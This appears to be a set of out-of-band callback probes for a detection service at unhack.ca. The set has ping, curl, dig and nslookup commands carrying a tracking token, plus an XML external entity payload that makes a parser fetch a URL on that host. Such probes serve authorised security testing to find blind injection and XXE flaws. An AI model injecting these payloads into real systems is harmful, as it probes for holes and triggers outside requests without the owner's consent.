$ ping -c1 -p 005d00b8a0cd383b635fb7f092517300 unhack.ca
 

$ curl http://unhack.ca/p/5d00b8a0cd383b635fb7f0925173
 

$ dig 5d00b8a0cd383b635fb7f0925173 @unhack.ca
 

$ dig 5d00b8a0cd383b635fb7f0925173.ns.unhack.ca
 

C:\> nslookup 5d00b8a0cd383b635fb7f0925173 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5d00b8a0cd383b635fb7f0925173">]>
    <foo>&xxe;</foo>